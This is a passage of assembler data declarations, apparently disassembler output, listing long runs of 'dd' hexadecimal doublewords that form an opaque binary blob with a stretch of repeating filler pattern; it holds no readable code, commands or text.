		dd 0C63B5355h, 3DCBF6F6h, 6E8B78B3h, 0A703EAE0h, 0F7705742h
		dd 5D4FAEA7h, 0F663A17Bh, 0C71B79F5h, 65F3DB2Fh, 2F39DE9Fh
		dd 70FC9CF6h, 0CDCEAB9Bh, 0DE74289h, 4BC973FBh,	0CF5B8C6Bh
		dd 3E7C2C4Ch, 48BB53A3h, 3A0FFF43h, 0E25C3F35h,	0DDEC47FAh
		dd 36D26D6Eh, 7A4D1CCDh, 0EBDBFF3Eh, 5B6ED75Fh,	0BAEE6374h
		dd 3E2D5D7Fh, 7CB5E312h, 97B9A5CBh, 0CC79BF9Ah,	9757BAEDh
		dd 0C7DF1E81h, 0EEF3E9AFh, 9F442F17h, 0DAFE0665h, 0AE81C4E1h
		dd 0D82ECF7Ch, 7DDFA5C9h, 0E6E7D61Ah, 633EBCC5h, 0AB2357AFh
		dd 9C9E969Bh, 529F917Ah, 1EC2C7F9h, 1FCDF3E8h, 7DBC091Ch
		dd 30FCB65h, 7BA30BC2h,	0CA414C86h, 0DFC2D6BDh,	0AE6E95A6h
		dd 0BF57573Ah, 0E517C309h, 0F352DB4Fh, 7F3FCEB1h, 0F6557579h
		dd 0BB11DB68h, 3BA74282h, 5793FA91h, 6D504708h,	34587BC1h
		dd 0A8120222h, 0C855F242h, 86486860h, 0D2E3C4FCh, 0E26BB121h
		dd 635C8C98h, 2B05E431h, 0AB844436h, 420C92Ah, 4588214Ah
		dd 188F9525h, 3B24B24Eh, 0DD72918h, 83EFFF9h, 0D4891A34h
		dd 6470892Ah, 124284Ch,	0C5431633h, 0D588C850h,	521B28ABh
		dd 11211A4Bh, 115E84E0h, 0CD517C90h, 0AA18583Eh, 0CA4B2624h
		dd 0A21A1E1Eh, 5C6875E8h, 0CBA2A44Ah, 82212A14h, 69190ED6h
		dd 812C611Ch, 0D23630Eh, 0B60E9011h, 0F24380D8h, 669E6B3Ch
		dd 2A0638CBh, 6CB4E9C9h, 0D431636Eh, 0EA52F107h, 0EB8047Bh
		dd 90034648h, 0CF07CA66h, 0D217EF00h, 0F4C0738Bh, 51F20A4Ah
		dd 2689A43Fh, 0DD90468Ah, 80B20F2Fh, 2090EDA1h,	605B8AE5h
		dd 11F36B73h, 2D02C630h, 0BEF9AA3Dh, 83EE13CFh,	0AD0D0D80h
		dd 18D75CA8h, 0D3CE8558h, 73A75CB5h, 0DD38AAA9h, 0BFD67D75h
		dd 0E07E6C7Fh, 0F0C4DE71h, 0A3FEF04h, 193E8C7Ah, 2D792ADAh
		dd 0CD9ED546h, 187C96F9h, 51717FEBh, 0E4A9F67Dh, 0FD5EC340h
		dd 3D7F97D1h, 0E0B7985Ah, 1FADF1D6h, 0C6DE40F4h, 0BC7D2752h
		dd 11975461h, 1BBFAA4Bh, 0FAFDD377h, 0FD1757CFh, 0F5A7D9BEh
		dd 0E985F7DAh, 15D5DF85h, 2E4C25A4h, 35149A68h,	0EC85F9A7h
		dd 0FDC1BCCBh, 0F732B8AAh, 4F89AE2Dh, 1DDB8097h, 0C6BC373Eh
		dd 0CD319CBEh, 36A768FDh, 37CB49F5h, 745B8F2Dh,	154F8841h
		dd 0E4FE27CBh, 96DC0E45h, 6A3BDD53h, 0FEAE8F15h, 3FC2E2F3h
		dd 590E1C07h, 0F740FABFh, 0E7F79384h, 3F6B71DFh, 0DCE697F1h
		dd 12F7BA86h, 65E7B9A7h, 301B99DCh, 6AF2F98Bh, 7DE29350h
		dd 82BB611Eh, 0E278FC0Fh, 0F787D1CDh, 6568FF0Eh, 3EF3C74Ah
		dd 0BDD52623h, 0A6F66132h, 0F5EFDEE1h, 0A8B0F07Fh, 21CCFD43h
		dd 0DBEFDD9Fh, 7A6A56E4h, 1F357EA7h, 1B55972h, 323D0CEFh
		dd 0C5AE2F23h, 30236207h, 0EEE5D5E4h, 0F7729057h, 69D5D52Fh
		dd 8577A01Bh, 947DB647h, 7AF54DB7h, 4AF75737h, 0F2966CA4h
		dd 2B2FA749h, 0FA94A645h, 0ED745C4Dh, 3987888Bh, 0C731EF8Bh
		dd 3EBBF9F3h, 0FF332BE5h, 0DCA90C07h, 0A80E15DDh, 941D21D2h
		dd 0BA75E891h, 0F096FAC7h, 429B3Dh, 85AF04ADh, 52A36B9Bh
		dd 29515738h, 40F7ADE2h, 611EF060h, 0B29EB948h,	54ADE329h
		dd 8277D72Dh, 0BB2BEDCBh, 29CB7697h, 0E62C2929h, 0BFAF57Ah
		dd 0EE5958C3h, 0DCACA3B6h, 754B4AADh, 0D54E936Ch, 0A28C1AA8h
		dd 3D0D906Ch, 9634943h,	21B348E9h, 41885CA1h, 846CD549h
		dd 0EA4A76C4h, 347F253Bh, 84CB8E24h, 90DE7294h,	96A474DBh
		dd 4D443A78h, 8215673Ah, 5EC55DA5h, 21D28B12h, 0EAA65EE1h
		dd 0AE51209Ah, 182FD692h, 1BDDD246h, 14AC5986h,	0E8114340h
		dd 78242C64h, 1A43D354h, 0B35BEDF3h, 5E90C04Eh,	693F79C2h
		dd 0EA32BCA2h, 0D0799EA8h, 4033940Ch, 594D3D0Fh, 0ECC38AF0h
		dd 791415CBh, 41735143h, 310D35FBh, 0C38B2460h,	0A1A92A32h
		dd 0C366C7C3h, 43907E85h, 461D24B4h, 3D98D035h,	0D096042Eh
		dd 101EC2C0h, 39203DEEh, 4E15CA1Ch, 0C88E3228h,	249C5129h
		dd 8354B2CAh, 70860CE6h, 0A49798C8h, 20062894h,	66173352h
		dd 0A2221A85h, 63C25292h, 85FBDE3h, 8F0A4A4Fh, 4A8D894Fh
		dd 26C64436h, 0C785C447h, 348A8BF6h, 0DA47C784h, 0D8B8E1F8h
		dd 86E0B17Eh, 0D295BD43h, 7DF1B1F1h, 4C4A4338h,	72406194h
		dd 1A212194h, 0AB26C6DEh, 0C746C5CDh, 44A78446h, 7263E019h
		dd 446C524Ah, 4320DC4Ah, 7DDE80F2h, 0C5222A3h, 154A0929h
		dd 495181EFh, 7DB1C9B1h, 0C7CA6DE2h, 121BC426h,	5223C293h
		dd 0A0A22362h, 2FD0341Eh, 86053E2Ah, 9B1174ADh,	0FA003C9Ch
		dd 480F8433h, 82484989h, 79B78B1h, 819E6C99h, 625FB621h
		dd 0CC69AC5Ch, 4989A951h, 6C9C951h, 840ACEBh, 37111F1h
		dd 0AC569522h, 0DC61BD57h, 2292A2FDh, 79A3E062h, 86490996h
		dd 7894D8E8h, 0BC347AA5h, 8624370Fh, 62318C3h, 192785C4h
		dd 25240712h, 85472426h, 10BC9DA8h, 8867171Bh, 0EEF1484Fh
		dd 290AA51Dh, 10AD4A2Eh, 1C9F1091h, 0C007FD5h, 2E3C363Eh
		dd 0C7C4AA04h, 340EC4A6h, 360F31D5h, 64956601h,	17EF0C88h
		dd 392A27DEh, 151C90D4h, 53CCADE5h, 1B4A17F1h, 2A505191h
		dd 1D24192Eh, 0CE8464A1h
		dd 0BC832587h, 51740D88h, 860D2AC9h, 2B24A591h,	494AD456h
		dd 19AC9EA4h, 6D632582h, 92B677B1h, 6E555BFDh, 71753D2Dh
		dd 5139928Eh, 0A19B48C9h, 5B847024h, 0E9236A59h, 0CC3E4AC5h
		dd 59A4531h, 7A86325Ah,	8DDCD58Fh, 0B666B339h, 0D43C3621h
		dd 4A55357Bh, 9B998B3Ch, 0E23643AFh, 0C611D082h, 7D948E1h
		dd 0F418920Ah, 0B360EB65h, 67C3D4A2h, 0DD18CCD8h, 5D28BACCh
		dd 2E0E9D23h, 2787B04h,	3BBB8AAh, 7A08B682h, 2420FB62h
		dd 0D252C324h, 34881915h, 0F00D16Fh, 0BA2B2011h, 22F9A236h
		dd 2454DB64h, 627AB46Bh, 7218A60Bh, 0A119E98Dh,	0B012DC86h
		dd 0A9767B05h, 0B48CC85h, 4E7BA41Bh, 7889EFh, 0D7FC1DAh
		dd 0D4C28F78h, 9AADC616h, 4952E030h, 0FB2EDCDAh, 0E4EE1AD7h
		dd 313AD8EEh, 2B3BE27Ah, 0DA35DE5Eh, 7FB9A623h,	0DD21F1F6h
		dd 0B3F3FAEBh, 3F787F47h, 0E97F1990h, 4A7DF7F5h, 31218AA9h
		dd 24821D6Fh, 869FC904h, 4E78FD1h, 0E973CB74h, 131EFC43h
		dd 0F7745A17h, 1E5333B3h, 7C741646h, 57378BFDh,	0FB705D5Ch
		dd 472EC7FBh, 1454FFF7h, 0B732E5F4h, 65F78FFCh,	47C6C44Eh
		dd 98CCEFF2h, 99F4E7F3h, 0F7E87074h, 0DA5A196Bh, 0BCAF7F55h
		dd 4FAE5A13h, 838E0C04h, 0FE6323A9h, 1387FC07h,	0E4176832h
		dd 425D9657h, 0E4A45B5Ah, 3ADA86E5h, 0C703D16h,	0B41F27EBh
		dd 0DA41DB81h, 51EA2B5Bh, 0D5C7387Fh, 5171BA7Fh, 2899055Eh
		dd 38BDD88Fh, 6457F5C5h, 5F714D8Ah, 0AFC910B4h,	0FE8D298Ch
		dd 5E759E67h, 0A0D4B1D9h, 0F9499F68h, 4824CCF2h, 19B1BED5h
		dd 0CCC6C5E9h, 5F480486h, 0F5E973AEh, 8F2AB347h, 7F6C7EF7h
		dd 76FBCD2Ah, 22B45E7h,	73E8BE86h, 33DD9F9Eh, 0F943EDF1h
		dd 0DE4F1F9Bh, 0E67FB210h, 0A7972198h, 3632EBDCh, 80C96528h
		dd 0DB6BEFC4h, 0F8AF0D96h, 0F7E76F22h, 0B569E403h, 0ABE2B758h
		dd 6A373F89h, 0B5741AEEh, 0E3C7EDF6h, 0FD3A5EEAh, 0F5DD58E1h
		dd 0BDAF2BC9h, 0DB746E72h, 946FD323h, 0EAEEDA7Ch, 567CAFE4h
		dd 0F6F15C3Eh, 7D64BD81h, 9667AB93h, 1B9439ECh,	8FFFC7DAh
		dd 38BE93C1h, 0C04B6574h, 0AB8484E1h, 0F458DEFDh, 0AAC2715Eh
		dd 0D5BF5F0Eh, 9FE9E27Ah, 3D72FDBEh, 86D863DDh,	63225716h
		dd 57579B6Bh, 0DDEEC08Eh, 0D83E8F9Dh, 0CDC3DAF5h, 0D9F39E2Bh
		dd 76DB637Fh, 0C97243BFh, 0AEA8CC9Ch, 2CB7A71Dh, 0EC14CC9Ch
		dd 0EB697C7Dh, 31163FB5h, 177DA21Bh, 69CC37B5h,	0D73FC3D2h
		dd 0ED4E692Bh, 0BEF34757h, 0EB76129Ch, 93CE83D2h, 0C739F1BFh
		dd 735B5C95h, 112B8FEEh, 0FC2E4E27h, 57C241F4h,	0DC0C172Dh
		dd 0EBF3BE7Dh, 0A6FCABDEh, 0B2BBBA8Eh, 1C03575Ch, 0E575B8F0h
		dd 0DD72D03Ch, 0A7697027h, 3B6592A2h, 0DDA3EBFEh, 0F6ED0527h
		dd 69083D6Ah, 3ED5AB65h, 1D349DD6h, 8EE5B528h, 0D54DA3Bh
		dd 0BE0C2854h, 0C5044AAh, 4A869322h, 0F6E2C9FDh, 0E7AFC94Ch
		dd 916B4E0Fh, 229B1D5Eh, 0AA543457h, 0BFD7D2B2h, 0DE6C399Ah
		dd 0FFD9E6Fh, 99DDCD6Fh, 0C3667690h, 0AABA41B4h, 778E1D4Bh
		dd 0FDB2747Eh, 4E07EBE2h, 7929996Dh, 62747DCFh,	0EFC2B1FBh
		dd 0B23E3E0Eh, 0EEDF7ABBh, 0FE62BE3h, 38F2935Dh, 0F758D8A9h
		dd 26CCF17Bh, 5F76543Fh, 5A61F3BCh, 0EE07DEC2h,	0F63D8DBAh
		dd 0A8789EF6h, 83D74EFBh, 0D7E9B73Fh, 277BD5EBh, 80F233Eh
		dd 3DA43F6Eh, 5B204AF7h, 1C8C4FBBh, 5FDD0CD4h, 0AEEEF1B8h
		dd 0B66F153Dh, 0E3BD357Fh, 0BE47F3E7h, 0C10341BFh, 80C07FFh
		dd 0D3ED8000h, 455E4EDBh, 0A8E00618h, 6C4C6D2Dh, 0D69A1BB5h
		dd 9A47DD2h, 0BA43BA16h, 62B55E11h, 5A37482Ah, 8281153h
		dd 286EC05h, 9F96D0A9h,	2F41DC2h, 3C12F03Ch, 2BBD73D1h
		dd 0FF99D33Dh, 5E478D27h, 5AC933C1h, 99AD666Bh,	35BE666Fh
		dd 0AF9E89CFh, 59ABE793h, 0AFF49E78h, 0E2C8E58Dh, 0B9E1B9DCh
		dd 4793BB24h, 0A7CEBDC9h, 966987C9h, 79D5CBEFh,	3CB3A673h
		dd 0D3271E3Ah, 397347C9h, 0E4919197h, 2E47AB40h, 9B27AF2Eh
		dd 0DEA1C2C9h, 932F262Ch, 3CF4B5E1h, 1A93DF4Eh,	0CB571B2Ch
		dd 0A97EB86Dh, 0F16FABA5h, 0CA942E5Eh, 8D4B8993h, 4F2A517Ch
		dd 483FEF9Bh, 7379256h,	8E1F91B2h, 0B1E6F697h, 65BD1A6Fh
		dd 1A5FBCA2h, 6348ED9Fh, 0D47AF6B5h, 0A86E7F0Ch, 9EBDF4AFh
		dd 0C190798Bh, 0C4FDF51Dh, 0BA4A1CE5h, 4D6ADFEFh, 0F9B631B2h
		dd 9E9ED930h, 25643A85h, 0BD307277h, 0FEB98565h, 0ED65F28h
		dd 0B58D6DCBh, 6D1A3799h, 4EED19FDh, 0ED6F8E67h, 5F50FC64h
		dd 0D72E5BF2h, 75E6F77Dh, 0BDAE59B9h, 92BB1D75h, 9386EB4Fh
		dd 0D7F64793h, 592B2B2Fh, 0F3F9F3B8h, 69ED52A5h, 0FDEAD8BFh
		dd 6329FF38h, 0FF1F5F25h, 0DFAB513Eh, 93B7ED26h, 0CC9EBEA9h
		dd 0F6B6F6D6h, 1CC85689h, 0B9B72FECh, 4747F3B9h, 4EE54AD7h
		dd 0BDECFBD2h, 0FDC5DABAh, 0E4F6515Bh, 9578FA93h, 0D2F6AD17h
		dd 7D31F378h, 0BE66ACA5h, 0ABA58ED6h, 0D251B37Fh, 0E543503Ah
		dd 0D7B6569Fh, 0B22A4A37h, 0BDAA51ABh, 0C8C5F57Dh, 0BCD1BC56h
		dd 0ACFF2D9Ah, 0F999532Dh, 0B3E95773h, 0FEF9BA7Ch, 8F8C0E6Ch
		dd 0B2AFE7CDh, 7964749Bh, 0B9A3F331h, 35AA7BD1h, 8B03297Bh
		dd 836B9247h, 593AEB29h, 955FCD3h, 96BC2752h, 0C393E7DDh
		dd 0A83D47E5h, 0A9968EDDh, 0F35EBAB3h, 0CF65025Dh, 0E58EEEFDh
		dd 933D5C0Ch, 0BF53DB3Ch, 912B1F6Fh, 87A3886Ah,	3FD78E6Fh
		dd 380CA37Ah, 5AEFC993h, 652E499Bh, 6B7B8CBAh, 0A89A84B0h
		dd 0C3CD3267h, 0D331B876h, 0FE2B6575h, 0EE19D7C3h, 0A76FDE69h
		dd 734F533Bh, 0C6F024ACh, 0FD474952h, 6D7E3B85h, 5B289A7Eh
		dd 0BB3D1C99h, 6BDB7B2Fh, 7F933673h, 0EA39B064h, 0EB2B7AC7h
		dd 0BC36B95Fh, 0CF51D4B1h, 0DDC4FCDFh, 0CDE1950Ch, 35B65543h
		dd 0E34CEC90h, 0BE7AB27Eh, 2E7F7A67h, 7FF397AFh, 7B3D392Ah
		dd 2645F369h, 5B9F974Bh, 6AE52809h, 0CA5E4B7Ah,	0A93CD2D2h
		dd 8DAD53EBh, 7FA4A64Ch, 5E171B28h, 0ABA9FB6Eh,	0B36EED24h
		dd 7AE5DFF3h, 0CDCB6D37h, 6FB2D5E5h, 0ADC92AB3h, 32FE6C91h
		dd 0C4F3B734h, 609F6F3Bh, 19465194h, 46519465h,	51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h, 19465194h, 46519465h, 51946519h
		dd 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 51946519h, 94651946h, 65194651h
		dd 19465194h, 46519465h, 0A31FFD19h, 208902FFh,	7DED8000h
		dd 0C7547C7Fh, 0C82CEF75h, 61064020h, 308D8224h, 0D96341E2h
		dd 601020C1h, 245AC1B0h, 16B0912Dh, 0B0BF56ADh,	0F6842C2Dh
		dd 48592B4Ah, 0C815DECBh, 814A3231h, 0BACBD744h, 2427C360h
		dd 0F925DB1h, 6DC4D449h, 558857D5h, 0D8391382h,	0D4AA4F81h
		dd 0B503D14Ah, 12F4FB56h, 0E20727EAh, 0C8D4AF28h, 0F7EDECB1h
		dd 0EAF7B99Ch, 0EA417EAEh, 0EC7FAFC4h, 0CCEE672Ch, 0E73333DCh
		dd 7333399Ch, 7068EE66h, 4C58763Eh, 0C44216h, 0DA2161C2h
		dd 71767485h, 33B84773h, 29999E17h, 0D9FB4D4Eh,	0EE5B76A2h
		dd 7A1516CFh, 9F64D5ABh, 5FCABEBFh, 0A2B933BEh,	3EAEAEBCh
		dd 4943BC90h, 25D437F6h, 6725D757h, 0EF2415E5h,	0CB28F7ACh
		dd 0FA7DBF6Eh, 3F8CBD12h, 0B783F67Bh, 57EAFEFFh, 0BEC80C5Ah
		dd 9F96D5F1h, 0EBCDF9E2h, 7FF3F32Fh, 3F1AFF5Ch,	5E15D5DDh
		dd 0EDD46F7Ah, 6B910872h, 93BE2C9Bh, 9193637Ch,	0D96627D6h
		dd 0E0A6D866h, 32C92225h, 781CC4EDh, 3AED80F1h,	4E32F157h
		dd 0BE74DAFCh, 0F4CB35D9h, 9885574Bh, 12F109C4h, 0F9A7CD7h
		dd 429CAB76h, 27C050A4h, 0F8AC5B44h, 92652EC4h,	592A324Eh
		dd 6F1F1B62h, 0C694059h, 8662F9E0h, 46B904Eh, 0EDF59261h
		dd 81E53CCBh, 0A6E38472h, 329BBCEBh, 46907618h,	0EABF32C7h
		dd 0F3A10AFh, 37CF1D3Eh, 331ECF0Ah, 5AC3B2E3h, 38A0B38Dh
		dd 26B9D8A3h, 6E565975h, 0A8BA88AEh, 8BA8BA8Bh,	0BA8BA8BAh
		dd 0A8BA8BA8h, 8BA8BA8Bh, 6EF6FFBAh, 0FAA54B4Ah, 0BA8AC7D4h
		dd 352AC9ECh, 0AA9557F7h, 0F50AF5E7h, 0B515DBEDh, 0BF514CACh
		dd 1F52AFE9h, 0AFA8A1BCh, 0FA8A47Fh, 45ED7E22h,	0FBDEFA8Fh
		dd 0EFA3FA8Ah, 0AFEAD47Bh, 0F1DD479h, 0F097EA2Bh, 8A834BFEh
		dd 51EED43Ah, 0F54AB4EBh, 5A8A3DDFh, 0DEA95253h, 8F51EF58h
		dd 9D42AD7Eh, 0AEA2ACFCh, 0A6A55E39h, 99EA2AE6h, 8BA8A99h
		dd 7D46EC65h, 0FD4AB04Ah, 0FCB7DE0Eh, 0F39D42ACh, 0ADFAA56Ch
		dd 27A856AFh, 0E3EA2BD7h, 0DA754AFEh, 650FA887h, 51E0BC76h
		dd 0D4AA1A0Bh, 8D9E81DFh, 3BEA284Fh, 2BBA8A19h,	0F7EA3CFh
		dd 0CBF7BF34h, 0B5D9F50Ah, 0FAC1751Eh, 1B37F52Ah, 0D019EA3Ch
		dd 66790671h, 0C9EA2B96h, 9BEA3CB7h, 3DF515DBh,	0FFFBDDA4h
		dd 15F97514h, 7577BA8Fh, 75FE9A89h, 0A8783A8Fh,	57535D4Ah
		dd 0DF820EA5h, 0FA9550CEh, 7FB0F83Ah, 0EBD52B9h, 54BF9DFCh
		dd 0CB4037D4h, 6A2B9F91h, 0E0F7E21Bh, 0A9A7219Dh, 0AD145622h
		dd 2BF8BB7h, 0FC50036Ch, 0F8BB74D9h, 0BA48E039h, 0D867278Ch
		dd 1EE03145h, 7E209102h, 77176595h, 0B7E2EC38h,	0C5377259h
		dd 682EDB37h, 0BC2BFD99h, 4D602DFFh, 385DA6h, 81478055h
		dd 2BF00BB3h, 3032771Dh, 0FF7909FFh, 0B3E321D5h, 0BCFD2F10h
		dd 50097C5Dh, 0FE21B001h, 7ACBCFBBh, 45D8E7D7h,	47332009h
		dd 88F87FC6h, 0E013FC5Dh, 0FC6447CDh, 0B8BB5C9Dh, 2035F801h
		dd 0F18527FCh, 0FF621FE4h, 0F676FB04h, 0C0BFD953h, 7DFB327Eh
		dd 0DFB167ECh, 0FB277ECBh, 0B00FD9C7h, 25FD947Fh, 7F48C7ECh
		dd 0C382F936h, 0C53E1C09h, 0FF65CE1h, 0E9CF1FB0h, 7D931271h
		dd 0B00FA71Fh, 8BFEC43Fh, 0BF635FECh, 0FB177D9Dh, 65AFD8F3h
		dd 6DFB3B7Fh, 7FB377ECh, 0D857FD85h, 1BFECF5Fh,	7F62AFECh
		dd 0F65EFB2Bh, 21DFB2CFh, 87BF61E9h, 9BF656FDh,	0FEC93FD9h
		dd 0ECD9FB20h, 638FD87Bh, 87FB3AFFh, 3F658FD9h,	0D1CCFA49h
		dd 4A370E5Ah, 39CA4839h, 5387297Dh, 0E94E2E64h,	0FB0B70E2h
		dd 65EFECA5h, 0B7BE1FBFh, 0FA2ED130h, 37B4C207h, 0B2D52E47h
		dd 0E4CCF737h, 0FB9BFBFFh, 0F9B7DF17h, 0EEE60B1Bh, 0EEF0FFB3h
		dd 6D2A64D7h, 0A9D4E51Eh, 0DDDAF281h, 15D492CEh, 0D7522BE5h
		dd 696A12ACh, 7A1AC671h, 215CEE1Bh, 9F82BE6Ch, 9947FFF6h
		dd 0DA1A3CE2h, 0F2BB92F8h, 1D24563Fh, 0E795FCD8h, 38C8EFE7h
		dd 73D0E5BCh, 0FB6D493Fh
		dd 7F7983E1h, 0CAD5F699h, 1ABF66B7h, 0B62BBE27h, 56E17C5Fh
		dd 6339206h, 4D89B761h,	2B9DFEF5h, 2336EDC4h, 644DA774h
		dd 2160C588h, 5A48C4BCh, 7AF5626h, 3620A3EEh, 9E210EFBh
		dd 0D362138Eh, 0BA8DB0E4h, 0D4E5B21Bh, 22158129h, 0CC81C09Ch
		dd 0B79AAD40h, 8A946A3h, 2E28CBA8h, 98CDCFEEh, 0E6041E26h
		dd 7755CCA2h, 0F5FA7F50h, 9E470964h, 8C6CB7FFh,	0E40CBA68h
		dd 4768D8D6h, 2F3AEF5h,	647EC1E3h, 618A4F0Eh, 192291BCh
		dd 71E1E72Bh, 0EFA39F58h, 0B1CC0DD7h, 2B0CDA0Bh, 68BD58CEh
		dd 117DE160h, 0C444CF38h, 31698BA6h, 0CFB5FD96h, 0A9037040h
		dd 8E1B01B4h, 0E1B7A9D5h, 4FED2EF7h, 7F9A2h, 46ECA0AFh
		dd 9E03F7C4h, 31D37DA3h, 4EF6A0E8h, 235EF6A3h, 0A6A6570Ah
		dd 0BA9A903Eh, 4C9A656Eh, 3200D5D6h, 2D6BE141h,	3D00BA79h
		dd 5A29FEE6h, 48FD8C3h,	8EB51A5Eh, 900BDBCEh, 0B7F1F36Dh
		dd 10A57F66h, 2D31D12Ah, 0F111F9F6h, 9DE22323h,	2F6582FBh
		dd 0ECEFFDA4h, 0F0BDCF97h, 0AFEF7541h, 0BFF63C8Fh, 0CBFEF23Eh
		dd 0FE6C4F5Dh, 3F9FF1C1h, 0F8DACB66h, 0EE51858h, 378283BEh
		dd 0ADE0F81Dh, 73BC42A9h, 2F9CF576h, 0F1BC53DFh, 0CFFC0FBBh
		dd 0BD7737BAh, 6FBCF4F7h, 6F9EE97Fh, 0FF6ED13Fh, 0E7779FDAh
		dd 0BF8F9FFEh, 0D8688978h, 7924A33Eh, 0F775C758h, 0A2F40973h
		dd 0B800F017h, 50158873h, 56FC2CB8h, 3AC5FB88h,	687156FCh
		dd 0A2157E05h, 101ED392h, 841AC5ABh, 88DBF152h,	0D9333D1Fh
		dd 8B58075Fh, 2D9CCDFDh, 7965C28Eh, 56C75B99h, 369CF642h
		dd 74A41D71h, 0B23D97CEh, 0A45D996Fh, 622ED3Ah,	0DBB1AE7Bh
		dd 0F47DE2EDh, 7DE7816Eh, 643514A2h, 0A14B6742h, 2F517E6Bh
		dd 8B97E0AAh, 937AA09Dh, 42B516A8h, 39DE2A11h, 0F7E0AE11h
		dd 452A02Ah, 6918BEF0h,	760068AAh, 4805622Dh, 0A41E106Bh
		dd 18BF03D5h, 0AD03AE5Ch, 54DC0A5h, 0EB78256Fh,	9C1533C6h
		dd 0DB1742ADh, 0DC8C762Dh, 0FFBA8DCAh, 0B4FA8E06h, 0EE86C5A1h
		dd 0A76FDDB4h, 7CA3CFEEh, 0F59D9272h, 0DBBCDC87h, 7BC88EEEh
		dd 0E73B4EFDh, 1EC9317Bh, 53BA1F11h, 9CF107C6h,	8BA7C7A4h
		dd 0E85E6D57h, 765DEE4Dh, 0BE43B7D1h, 5BBCEF8Fh, 67BC82BCh
		dd 50B17601h, 99D098D0h, 0B9375C34h, 9FFBF000h,	0EAF4C7F6h
		dd 8D1254E9h, 50175B19h, 5A4D935Dh, 20FB4162h, 0FA7ABCF0h
		dd 6BC436h, 7007Bh, 32F0047h, 76807BEh,	0E97009BCh, 7B7D12FCh
		dd 0D7182D01h, 9D1C039Eh, 0A717FE33h, 4FF6F9ECh, 0DC965DA5h
		dd 8D34EB75h, 5DAC5F74h, 56B18312h, 39F5FBBCh, 7CE24232h
		dd 59161FF7h, 0C4B37F22h, 8F725912h, 5EFE7225h,	0FBD9E44Bh
		dd 4B05912Ch, 6B66912Dh, 96FDE2E4h, 41AA7148h, 0CDE852C7h
		dd 92974580h, 0BBDB8F10h, 6FACFCE7h, 0E6FC6EF5h, 0E5FBBF6Fh
		dd 7F7D1FC5h, 5D9E74CBh, 5667AC6Ch, 0CD388CD7h,	44DCC64Bh
		dd 0A0F2447Ah, 8EEF4AB2h, 224C6DC4h, 0C27CC0ADh, 0A979823Ah
		dd 0AFC98E59h, 0DEBDE656h, 2B87D03h, 10C0018h, 1379162h
